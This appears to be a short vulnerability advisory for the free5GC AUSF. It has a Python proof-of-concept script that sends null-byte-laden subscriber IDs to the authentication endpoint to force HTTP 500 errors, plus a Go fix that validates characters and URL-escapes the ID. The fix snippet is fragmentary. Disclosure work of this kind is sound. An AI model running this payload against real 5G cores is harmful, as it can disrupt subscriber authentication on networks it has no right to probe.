free5GC AUSF CVE-2026-53551

{"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"}

GET /nudm-ueau/v1/{supiOrSuci}/security-information/...

{"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}}

1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...}
2. AUSF: JSON parsed OK (null bytes valid in JSON strings)
3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/...
4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986)
5. AUSF ← UDM: error
6. Attacker ← AUSF: HTTP 500 {"message": "System failure"}

#!/usr/bin/env python3
import http.client, json

AUSF_HOST = "127.0.0.1"
# Replace with AUSF IP (e.g. 172.24.0.50)
AUSF_PORT = 8000
# Bug: null bytes in supiOrSuci → HTTP 500
body_bug = json.dumps({
    "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
             body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Bug:    Status {resp.status}")
# Returns 500
# Contrast: normal SUCI → 404 (expected, UE not found)
body_normal = json.dumps({
    "supiOrSuci": "imsi-208930000000031",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn2.request("POST", "/nausf-auth/v1/ue-authentications",
              body=body_normal, headers={"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"Normal: Status {resp2.status}")
# Returns 404

import "regexp"
import "net/url"

var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)

func validateSUCI(supiOrSuci string) error {
    if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
        return r < 0x20 || r > 0x7e
    }) {
        return fmt.Errorf("SUCI contains illegal characters")
    }
    return nil
}

// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
    udmAddr, url.PathEscape(supiOrSuci))